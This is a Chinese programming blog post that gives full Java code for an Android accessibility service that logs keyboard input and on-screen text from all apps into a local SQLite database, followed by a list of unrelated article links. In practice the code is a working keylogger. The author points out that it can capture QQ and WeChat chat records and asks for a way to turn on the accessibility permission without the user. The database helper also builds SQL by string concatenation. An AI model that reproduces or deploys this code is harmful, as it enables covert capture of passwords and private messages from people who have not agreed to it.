Android获取软键盘输入内容
来源:互联网 发布:数据分析师职业前景 编辑:程序博客网 时间:2024/05/20 01:10
该功能的实现是通过Android辅助功能来进行实现的,
先上效果图:
下面说一下如何使用Accessibility机制:
何为Accessibility机制
许多Android使用者因为各种情况导致他们要以不同的方式与手机交互。对于那些由于视力、听力或其它身体原因导致不能方便使用Android智能手机的用户,Android提供了Accessibility功能和服务帮助这些用户更加简单地操作设备,包括文字转语音、触觉反馈、手势操作、轨迹球和手柄操作。开发者可以搭建自己的Accessibility服务,这可以加强应用的可用性,例如声音提示,物理反馈,和其他可选的操作模式。
随着Android系统版本的迭代,Accessibility功能也越来越强大,它能实时地获取当前操作应用的窗口元素信息,并能够双向交互,既能获取用户的输入,也能对窗口元素进行操作,比如点击按钮。Accessibility功能在使用时需要经过用户授权,如果用户拒绝授权,应用将无法实现本身的功能。需要注意的是,此机制是免Root的,并且需要API14以上
1、首先我们需要定义自己的类,并继承AccessibilityService类
package krelve.demo.rob;import java.sql.Date;import java.text.SimpleDateFormat;import java.util.List;import com.example.bean.Person;import com.example.db.DatabaseUtil;import com.example.dbdemo.Add_Date;import android.accessibilityservice.AccessibilityService;import android.annotation.SuppressLint;import android.content.Intent;import android.provider.Settings;import android.util.Log;import android.view.accessibility.AccessibilityEvent;import android.view.accessibility.AccessibilityNodeInfo;public class RobMoney extends AccessibilityService {private DatabaseUtil mDBUtil;@Overrideprotected void onServiceConnected() {super.onServiceConnected();}@SuppressLint("NewApi")@Overridepublic void onAccessibilityEvent(AccessibilityEvent event) {// 获取数据库mDBUtil = new DatabaseUtil(RobMoney.this);try {String strClickData = event.getText().get(0).toString();System.out.println("aaaaaaaaaaaaaa" + strClickData);AccessibilityNodeInfo rootNode = getRootInActiveWindow();// findEditText(rootNode);// 获取包名String str_package = rootNode.getPackageName().toString();String app_name = StringUtil.pkgTransform(RobMoney.this, str_package);// 获取当前时间SimpleDateFormat formatter = new SimpleDateFormat("yyyy年MM月dd日 HH:mm:ss ");Date curDate = new Date(System.currentTimeMillis());// 获取当前时间String str_date = formatter.format(curDate);Person person = new Person();person.setName(app_name);person.setData(strClickData);person.setTime(str_date);mDBUtil.Insert(person);} catch (IndexOutOfBoundsException e) {e.printStackTrace();}}}通过这个类的onAccessibilityEvent方法,我们可以拿到用户在指定APP里完成比如点击,滑动,或是屏幕内容变化等用户不可控的情况下的一些回调方法,同样的遍历
rootNode节点再循环打印其getText()信息,便可以拿到QQ 微信等聊天记录等信息的,这里不再详细描述,小伙伴们自行去实现吧.....
2、我们需要在配置文件内进行配置该service
<service android:name="krelve.demo.rob.RobMoney" android:enabled="true" android:exported="true" android:label="@string/app_name" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" > <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService" /> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibility" /> </service>
其中,<action android:name="android.accessibilityservice.AccessibilityService" />是需要申请的权限
xml/accessibility是做了初始化的工作,具体实现如下:
<?xml version="1.0" encoding="utf-8"?><accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" android:accessibilityEventTypes="typeViewFocused|typeViewTextChanged" android:accessibilityFeedbackType="feedbackVisual" android:canRetrieveWindowContent="true" android:description="@string/stenographer_service_description" android:notificationTimeout="100" />
这里我们看到有很多选项,我们看一下常用的几个属性:
1)、android:accessibilityEventTypes="xxxxxxxx"
看属性名也差不多可以明白,这个是用来设置响应事件的类型,
2)、android:accessibilityFeedbackType="xxxxxxxx"
设置回馈给用户的方式,有语音播出和振动。可以配置一些TTS引擎,让它实现发音。
3)、android:notificationTimeout="100"
响应时间的设置就不用多说了
另外:实现监听微信或QQ聊天记录的小伙伴们需要设置下面的属性
4)、android:packageNames="com.xxx.xxx"
可以指定响应某个应用的事件,这里因为要响应所有应用的事件,所以不填,默认就是响应所有应用的事件。比如我们写一个微信抢红包的辅助程序,就可以在这里填写微信的包名,便可以监听微信产生的事件了。我们这些配置信息除了在xml中定义,同样也可以在代码中定义,我们一般都是在onServiceConnected()方法里进行
3、我们去设置——辅助功能找到对应的应用名称 然后进行开启就可以实现输入法软键盘内容的监听了。
4、下面说一下数据库存储和读取,因为这个比较简单就不在一一叙述了,直接上代码:
package com.example.db;import java.util.ArrayList;import java.util.List;import android.content.ContentValues;import android.content.Context;import android.database.Cursor;import android.database.SQLException;import android.database.sqlite.SQLiteDatabase;import android.util.Log;import com.example.bean.Person;public class DatabaseUtil {private MyHelper helper;public DatabaseUtil(Context context) {super();helper = new MyHelper(context);}/** * 插入数据 * * @param String * */public boolean Insert(Person person) {SQLiteDatabase db = helper.getWritableDatabase();String sql = "insert into " + MyHelper.TABLE_NAME+ "(name,data,time) values (" + "'" + person.getName() + "' ,"+ "'" + person.getData() + "' ," + "'" + person.getTime() + "'"+ ")";try {db.execSQL(sql);return true;} catch (SQLException e) {Log.e("err", "insert failed");return false;} finally {db.close();}}/** * 更新数据 * * @param Person * person , int id * */public void Update(Person person, int id) {SQLiteDatabase db = helper.getWritableDatabase();ContentValues values = new ContentValues();values.put("name", person.getName());values.put("data", person.getData());values.put("time", person.getTime());int rows = db.update(MyHelper.TABLE_NAME, values, "_id=?",new String[] { id + "" });db.close();}/** * 删除数据(根据id) * * @param int id * */public void Delete(int id) {SQLiteDatabase db = helper.getWritableDatabase();int raw = db.delete(MyHelper.TABLE_NAME, "_id=?", new String[] { id+ "" });db.close();}/** * 删除数据(所有) */public void deleteAll() {SQLiteDatabase db = helper.getWritableDatabase();db.delete(MyHelper.TABLE_NAME, null, null);db.close();}/** * 查询所有数据 * * */public List<Person> queryAll() {SQLiteDatabase db = helper.getReadableDatabase();List<Person> list = new ArrayList<Person>();// Cursor cursor = db.query(MyHelper.TABLE_NAME, null, null, null, null,// null, "_id ASC");Cursor cursor = db.query(MyHelper.TABLE_NAME, null, null, null, null,null, "_id ASC");while (cursor.moveToNext()) {Person person = new Person();person.setId(cursor.getInt(cursor.getColumnIndex("_id")));person.setName(cursor.getString(cursor.getColumnIndex("name")));person.setData(cursor.getString(cursor.getColumnIndex("data")));person.setTime(cursor.getString(cursor.getColumnIndex("time")));list.add(person);}db.close();return list;}/** * 按姓名进行查找并排序 * * */public List<Person> queryByname(String name) {SQLiteDatabase db = helper.getReadableDatabase();List<Person> list = new ArrayList<Person>();Cursor cursor = db.query(MyHelper.TABLE_NAME, new String[] { "_id","name", "data", "time" }, "name like ? ", new String[] { "%"+ name + "%" }, null, null, "name asc");// Cursor cursor = db.query(table, columns, selection, selectionArgs,// groupBy, having, orderBy)while (cursor.moveToNext()) {Person person = new Person();person.setId(cursor.getInt(cursor.getColumnIndex("_id")));person.setName(cursor.getString(cursor.getColumnIndex("name")));person.setData(cursor.getString(cursor.getColumnIndex("data")));person.setTime(cursor.getString(cursor.getColumnIndex("time")));list.add(person);}db.close();return list;}/** * 按id查询 * * */public Person queryByid(int id) {SQLiteDatabase db = helper.getReadableDatabase();Person person = new Person();Cursor cursor = db.query(MyHelper.TABLE_NAME, new String[] { "name","data", "time" }, "_id=?", new String[] { id + "" }, null,null, null);// db.delete(table, whereClause, whereArgs)while (cursor.moveToNext()) {person.setId(id);person.setName(cursor.getString(cursor.getColumnIndex("name")));person.setData(cursor.getString(cursor.getColumnIndex("data")));person.setTime(cursor.getString(cursor.getColumnIndex("time")));}db.close();return person;}}
package com.example.db;import android.content.Context;import android.database.sqlite.SQLiteDatabase;import android.database.sqlite.SQLiteDatabase.CursorFactory;import android.database.sqlite.SQLiteOpenHelper;import android.util.Log;public class MyHelper extends SQLiteOpenHelper {private static String DB_NAME = "mydata.db"; // 数据库名称public static String TABLE_NAME = "employee"; // 表名/** * super(参数1,参数2,参数3,参数4),其中参数4是代表数据库的版本, 是一个大于等于1的整数,如果要修改(添加字段)表中的字段,则设置 * 一个比当前的 参数4大的整数 ,把更新的语句写在onUpgrade(),下一次 调用 */public MyHelper(Context context) {super(context, DB_NAME, null, 2);}@Overridepublic void onCreate(SQLiteDatabase db) {// Create tableString sql = "CREATE TABLE " + TABLE_NAME + "("+ "_id integer primary key autoincrement," + "name varchar(20),"+ "data varchar(200)," + "time varchar(20) );";Log.e("table oncreate", "create table");db.execSQL(sql); // 创建表}@Overridepublic void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {// TODO Auto-generated method stubLog.e("update", "update");// db.execSQL("ALTER TABLE "+ MyHelper.TABLE_NAME+" ADD sex TEXT");// //修改字段}}
好了该方法到此结束,,,如果哪位大神有能够自动设置勾选辅助功能的方法 劳烦请告知一下,再次此拜谢!!!
- Android获取软键盘输入内容
- Android调用输入法软键盘,返回输入的内容
- Android调用输入法软键盘,返回输入的内容
- Android EditText重新获取焦点弹出软键盘,选中内容
- android软键盘输入,windowSoftInputMode
- android监听软键盘输入@
- Android软键盘输入详解
- Android软键盘输入imeOptions
- Android-根据软键盘的显示与隐藏改变输入框的内容
- android 软键盘挡住输入内容,adjustResize设置了也无效
- 获取android软键盘高度
- Android获取软键盘状态
- 获取android软键盘高度
- 股票输入软键盘,android初探自定义软键盘
- android Fragment获取EditText 从软键盘中输入下一个action的监听
- android 软键盘,右下角 内容设置
- Android EditText输入框 软键盘
- android软键盘遮挡输入框问题
- 普通最小二乘法(OLS)
- Awk命令学习
- 中小型网站架构分析及优化
- Handler原理及AsynTask的使用
- struct和typedef struct
- Android获取软键盘输入内容
- 物理机上搭建nginx+tomcat
- [POJ1364] 国王king
- 杂记:Cortex™-A8 am335x cpsw (一)
- oracle百分数的统计(计算百分数的平均数)
- Duilib加入项目编译时报无法找到外部符号
- GreenDAO—Android ORM框架(一)
- 主成分分析(PCA)深入剖析+Matlab模拟
- Jni从dll或so文件中获取信息